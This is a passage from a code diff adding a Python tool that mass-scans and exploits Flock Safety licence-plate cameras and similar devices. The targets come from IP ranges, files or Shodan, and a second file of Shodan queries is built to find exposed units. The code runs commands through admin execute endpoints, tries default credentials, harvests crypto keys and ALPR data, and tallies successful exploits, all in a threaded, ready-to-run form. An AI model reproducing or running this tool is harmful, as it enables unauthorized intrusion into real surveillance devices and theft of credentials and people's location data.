verify=False) + if r2.status_code == 200: + results.append({'cve': 'CVE-2025-47823', 'target': target, 'path': ep, + 'credentials': credentials, 'alpr_data': r2.text[:500], 'exploited': True}) + except Exception: + pass + except Exception: + pass + return results + + def scan_and_exploit(self, target): + results = [] + for path in ['/api/v1/admin/execute', '/api/v1/admin/command', '/api/v1/system/exec']: + for payload in [{"cmd": "id"}, {"command": "whoami"}]: + try: + resp = requests.post(f"http://{target}{path}", json=payload, timeout=self.timeout, verify=False) + if resp.status_code == 200 and any(i in resp.text.lower() for i in ['uid=', 'root', 'executed']): + if self.exploit: + er = self.exploit_cve_59403(target, path, payload) + results.extend(er) + with self.lock: + self.exploited += len(er) + else: + results.append({'cve': 'CVE-2025-59403', 'target': target, 'path': path, + 'vulnerable': True, 'exploited': False}) + except Exception: + pass + for path in ['/api/v1/crypto/key', '/api/v1/keystore']: + try: + resp = requests.get(f"http://{target}{path}", timeout=self.timeout, verify=False) + if resp.status_code == 200: + for p2 in self.payloads['CVE-2025-59407']['crypto_keys']: + if p2 in resp.text: + if self.exploit: + er = self.exploit_cve_59407(target, path, resp.text) + results.extend(er) + with self.lock: + self.exploited += len(er) + else: + results.append({'cve': 'CVE-2025-59407', 'target': target, 'path': path, + 'vulnerable': True, 'exploited': False}) + break + except Exception: + pass + for cred in [('admin', 'admin'), ('root', 'root'), ('admin', 'password')]: + for path in ['/api/v1/hotspot/config', '/api/v1/wifi/credentials']: + try: + resp = requests.get(f"http://{target}{path}", auth=cred, timeout=self.timeout, verify=False) + if resp.status_code == 200: + if self.exploit: + er = self.exploit_cve_47818(target, path, f"{cred[0]}:{cred[1]}") + results.extend(er) + with self.lock: + self.exploited += len(er) + else: + results.append({'cve': 'CVE-2025-47818', 'target': target, 'path': path, + 'credentials': f"{cred[0]}:{cred[1]}", + 'vulnerable': True, 'exploited': False}) + break + except Exception: + pass + return results + + def worker(self): + while not self.work_queue.empty(): + target = self.work_queue.get() + try: + results = self.scan_and_exploit(target) + if results: + with self.lock: + self.results.extend(results) + self.vulnerable_found += sum(1 for r in results if r.get('vulnerable', False)) + for r in results: + if r.get('exploited', False): + self.print_exploit_result(r) + elif r.get('vulnerable', False): + self.print_vulnerability(r) + self.total_scanned += 1 + if self.total_scanned % 5 == 0: + os.system('clear' if os.name == 'posix' else 'cls') + self.print_banner() + print(self.print_scanning_status()) + except Exception as e: + if self.verbose: + print(f"{Colors.RED}Error scanning {target}: {e}{Colors.END}") + finally: + self.work_queue.task_done() + + def print_scanning_status(self): + return f""" +{Colors.CYAN}------------------------------------------------------------- +{Colors.BOLD}SCAN STATUS{Colors.END} +------------------------------------------------------------- +Total Targets : {self.total_scanned} +Vulnerable : {self.vulnerable_found} +Exploited : {self.exploited} +Queue Size : {self.work_queue.qsize()} +Elapsed Time : {datetime.now().strftime('%H:%M:%S')} +------------------------------------------------------------- +{Colors.END}""" + + def print_exploit_result(self, result): + cve = result.get('cve', 'Unknown') + target = result.get('target', 'Unknown') + print(f""" +{Colors.RED}{Colors.BLINK}EXPLOIT SUCCESSFUL{Colors.END} +{Colors.CYAN}------------------------------------------------------------- +CVE: {cve} +Target: {target} +Method: {result.get('method', 'API')} +Command: {result.get('command', 'N/A')[:30]} +Output: {str(result.get('output', ''))[:40]} +------------------------------------------------------------- +{Colors.END}""") + + def print_vulnerability(self, result): + cve = result.get('cve', 'Unknown') + target = result.get('target', 'Unknown') + colors = {'CVE-2025-59403': Colors.RED, 'CVE-2025-59407': Colors.RED, + 'CVE-2025-47818': Colors.YELLOW, 'CVE-2025-47823': Colors.YELLOW} + color = colors.get(cve, Colors.END) + print(f""" +{color}------------------------------------------------------------- +VULNERABILITY FOUND +------------------------------------------------------------- +CVE: {cve} +Target: {target} +Path: {result.get('path', 'N/A')} +Credentials: {result.get('credentials', 'N/A')} +------------------------------------------------------------- +{Colors.END}""") + + def scan_network(self, targets): + if not targets: + print(f"{Colors.RED}No targets to scan{Colors.END}") + return + for t in targets: + self.work_queue.put(t.strip()) + print(f"{Colors.GREEN}Starting {'exploitation' if self.exploit else 'scanning'} with {self.threads} threads{Colors.END}") + print(f"{Colors.YELLOW}Press Ctrl+C to stop{Colors.END}") + threads = [] + for _ in range(self.threads): + t = threading.Thread(target=self.worker) + t.start() + threads.append(t) + try: + for t in threads: + t.join() + except KeyboardInterrupt: + print(f"\n{Colors.YELLOW}Stopping...{Colors.END}") + self.print_summary() + + def print_summary(self): + os.system('clear' if os.name == 'posix' else 'cls') + self.print_banner() + print(f""" +{Colors.CYAN}------------------------------------------------------------- +{Colors.BOLD}SCAN COMPLETE{Colors.END} +------------------------------------------------------------- +Total Scanned : {self.total_scanned} +Vulnerable : {self.vulnerable_found} +Exploited : {self.exploited} +------------------------------------------------------------- +{Colors.BOLD}Results by CVE{Colors.END} +------------------------------------------------------------- +{Colors.END}""") + grouped = {} + for r in self.results: + cve = r.get('cve', 'Unknown') + grouped.setdefault(cve, []).append(r) + for cve, rs in grouped.items(): + exploited = sum(1 for r in rs if r.get('exploited', False)) + vulnerable = sum(1 for r in rs if r.get('vulnerable', False)) + print(f""" +{Colors.BOLD}{cve}{Colors.END} + Exploited: {exploited} + Vulnerable: {vulnerable} + Examples:""") + for i, r in enumerate(rs[:3], 1): + if r.get('exploited', False): + print(f" {i}. {Colors.RED}{r.get('target', 'N/A')} - EXPLOITED{Colors.END}") + else: + print(f" {i}. {r.get('target', 'N/A')} - {r.get('path', 'N/A')}") + if self.output_file: + self.save_results() + + def save_results(self): + try: + with open(self.output_file, 'w') as f: + json.dump(self.results, f, indent=2) + print(f"\n{Colors.GREEN}Results saved to {self.output_file}{Colors.END}") + except Exception as e: + print(f"\n{Colors.RED}Failed to save results: {e}{Colors.END}") + + # ═══════════════════════════════════════════════════ + # INTERACTIVE MENU (extended) + # ═══════════════════════════════════════════════════ + + def generate_targets(self): + print(f""" +{Colors.CYAN}------------------------------------------------------------- +{Colors.BOLD}SELECT INPUT METHOD{Colors.END} +------------------------------------------------------------- + 1. Single IP + 2. IP Range (CIDR) + 3. From File (IPs list) + 4. Shodan Query (requires Shodan API) + 5. Falcon/Sparrow Signatures + 6. Flock Instance Discovery (scan subnet) + 7. Traffic Analysis (cloud vs station) + 8. Return +------------------------------------------------------------- +{Colors.END}""") + choice = input(f"{Colors.CYAN}Select option (1-8): {Colors.END}").strip() + + # ── 6: Flock Instance Discovery ── + if choice == '6': + cidr = input(f"{Colors.CYAN}Enter CIDR (e.g., 192.168.1.0/24): {Colors.END}").strip() + if not cidr: + return [] + print(f"{Colors.YELLOW}Discovery mode does not use CVE scan queue.{Colors.END}") + self.run_discovery(cidr) + input(f"\n{Colors.CYAN}Press Enter to continue…{Colors.END}") + return [] # back to menu + + # ── 7: Traffic Analysis ── + if choice == '7': + ip = input(f"{Colors.CYAN}Enter camera IP to analyze: {Colors.END}").strip() + if ip: + self.run_traffic_analysis(ip) + input(f"\n{Colors.CYAN}Press Enter to continue…{Colors.END}") + return [] + + # ── Original options ── + targets = [] + if choice == '1': + ip = input(f"{Colors.CYAN}Enter IP: {Colors.END}").strip() + if ip: + targets.append(ip) + elif choice == '2': + cidr = input(f"{Colors.CYAN}Enter CIDR (e.g., 192.168.1.0/24): {Colors.END}").strip() + try: + import ipaddress + for ip in ipaddress.ip_network(cidr, strict=False).hosts(): + targets.append(str(ip)) + except Exception as e: + print(f"{Colors.RED}Invalid CIDR: {e}{Colors.END}") + elif choice == '3': + fn = input(f"{Colors.CYAN}Enter filename: {Colors.END}").strip() + try: + with open(fn) as f: + for line in f: + targets.append(line.strip()) + except Exception as e: + print(f"{Colors.RED}Error: {e}{Colors.END}") + elif choice == '4': + if not self.shodan_api_key: + self.shodan_api_key = input(f"{Colors.CYAN}Enter Shodan API key: {Colors.END}").strip() + if self.shodan_api_key: + targets = self.get_shodan_targets(self.shodan_api_key) + if targets: + print(f"{Colors.GREEN}Found {len(targets)} targets{Colors.END}") + else: + print(f"{Colors.YELLOW}No targets found{Colors.END}") + else: + print(f"{Colors.RED}API key required{Colors.END}") + elif choice == '5': + print(f"\n{Colors.CYAN}Falcon/Sparrow Signatures:{Colors.END}") + print(" - HTTP Title: 'Falcon' or 'Sparrow'") + print(" - /api/v1/admin/execute") + print(" - /api/v1/system/exec") + print(" - Port 5555 (ADB)") + print(" - /api/v1/debug") + print(f"{Colors.YELLOW}Requires Shodan or pre-generated targets{Colors.END}") + elif choice == '8': + return [] + return targets + + def run(self): + self.print_banner() + if self.exploit: + print(f"{Colors.RED}{Colors.BLINK}WARNING: EXPLOITATION MODE ACTIVE{Colors.END}") + print(f"{Colors.YELLOW}This will execute commands on vulnerable targets{Colors.END}") + confirm = input(f"{Colors.RED}Are you sure? (yes/no): {Colors.END}") + if confirm.lower() != 'yes': + print(f"{Colors.YELLOW}Exiting{Colors.END}") + return + while True: + targets = self.generate_targets() + if not targets: + if input(f"{Colors.CYAN}Exit? (y/n): {Colors.END}").lower() == 'y': + break + continue + print(f"{Colors.GREEN}Found {len(targets)} targets{Colors.END}") + if len(targets) > 100: + print(f"{Colors.YELLOW}Large scan — press Ctrl+C to cancel{Colors.END}") + self.scan_network(targets) + if input(f"{Colors.CYAN}Continue? (y/n): {Colors.END}").lower() != 'y': + break + + +def main(): + parser = argparse.ArgumentParser(description='FLOCK CVE Scanner + Discovery + Traffic Analysis') + parser.add_argument('-t', '--target', help='Single target IP') + parser.add_argument('-f', '--file', help='File with targets') + parser.add_argument('-o', '--output', help='Output file (JSON)') + parser.add_argument('-v', '--verbose', action='store_true', help='Verbose output') + parser.add_argument('-T', '--threads', type=int, default=10, help='Number of threads') + parser.add_argument('--timeout', type=int, default=5, help='Connection timeout') + parser.add_argument('--exploit', action='store_true', help='Enable exploitation') + parser.add_argument('--cve', help='Scan specific CVE only') + parser.add_argument('--discover', metavar='CIDR', help='Discover Flock instances in subnet (e.g. 192.168.1.0/24)') + parser.add_argument('--analyze-traffic', metavar='IP', help='Analyze data flow for a camera IP') + + args = parser.parse_args() + + scanner = CVEExploiter( + verbose=args.verbose, + output_file=args.output, + threads=args.threads, + timeout=args.timeout, + exploit=args.exploit, + ) + + # CLI shortcut for discovery + if args.discover: + scanner.run_discovery(args.discover) + if args.output: + scanner.save_results() + return + + # CLI shortcut for traffic analysis + if args.analyze_traffic: + scanner.run_traffic_analysis(args.analyze_traffic) + if args.output: + scanner.save_results() + return + + if args.target: + targets = [args.target] + scanner.scan_network(targets) + if args.output: + scanner.save_results() + elif args.file: + with open(args.file) as f: + targets = [line.strip() for line in f] + scanner.scan_network(targets) + if args.output: + scanner.save_results() + else: + scanner.run() + + +if __name__ == "__main__": + try: + main() + except KeyboardInterrupt: + print(f"\n{Colors.YELLOW}Scan interrupted{Colors.END}") + sys.exit(0) diff --git a/shodan_queries.py b/shodan_queries.py new file mode 100644 index 0000000..534a6bc --- /dev/null +++ b/shodan_queries.py @@ -0,0 +1,80 @@ +#!/usr/bin/env python3 +""" +shodan_queries.py - Generate Shodan queries for CVE-2025 vulnerabilities + Discovery +""" + +QUERIES = { + 'CVE-2025-59403': [ + 'title:"Falcon"', + 'title:"Sparrow"', + '"/api/v1/admin"', + '"/api/v1/system"', + '"/api/v1/debug"', + 'port:5555 "Android"', + '"Android Debug Bridge"', + 'port:5037 adb', + 'http.title:"ADB"', + '"Falcon" "api" port:443', + '"Sparrow" "api" port:443', + '"/api/v1/execute"', + '"/api/v1/command"', + ], + 'CVE-2025-59407': [ + '"Android" "v6.35.33"', + '"keystore" "hardcoded"', + '"crypto" "key" "Android"', + '"/api/v1/keystore"', + '"/api/v1/security"', + '"hardcoded_key"', + '"default_key"', + ], + 'CVE-2025-47818': [ + '"hotspot" "fallback"', + '"/api/v1/hotspot"', + '"default" "hotspot" "credentials"', + '"/api/v1/wifi"', + '"hotspot" "config"', + '"wifi" "credentials"', + ], + 'CVE-2025-47823': [ + '"ALPR" "v2.0"', + '"ALPR" "v2.1"', + '"ALPR" "v2.2"', + '"/api/v1/alpr"', + '"license plate" "system"', + '"LPR" "firmware"', + '"ALPR" "firmware"', + '"/alpr" "/api"', + ], + 'FLOCK_DISCOVERY': [ + 'title:"admin_page_template"', + '"admin_page_template.html"', + '"/onvif/device_service" Flock', + '"SpeedPourer" port:21', + '"FRP" "flock" port:7000', + '"M5NanoC6" "flock"', + '"flock" "ADB" port:5555', + 'ssl.cert.subject.cn:"*.flocksafety.com"', + 'ssl.cert.subject.cn:"*.ops.flocksafety.com"', + 'org:"Flock Safety"', + '"flock-hibiki"', + ], +} + +def generate_shodan_queries(): + """Generate combined Shodan queries""" + print("# CVE-2025 Vulnerability + Discovery Shodan Queries") + print("# ==================================================") + print() + for cve, queries in QUERIES.items(): + print(f"# {cve}") + print(" OR ".join(queries)) + print() + all_q = [] + for qs in QUERIES.values(): + all_q.extend(qs) + print("# ALL Queries Combined") + print(" OR ".join(all_q)) + +if __name__ == "__main__": + generate_shodan_queries()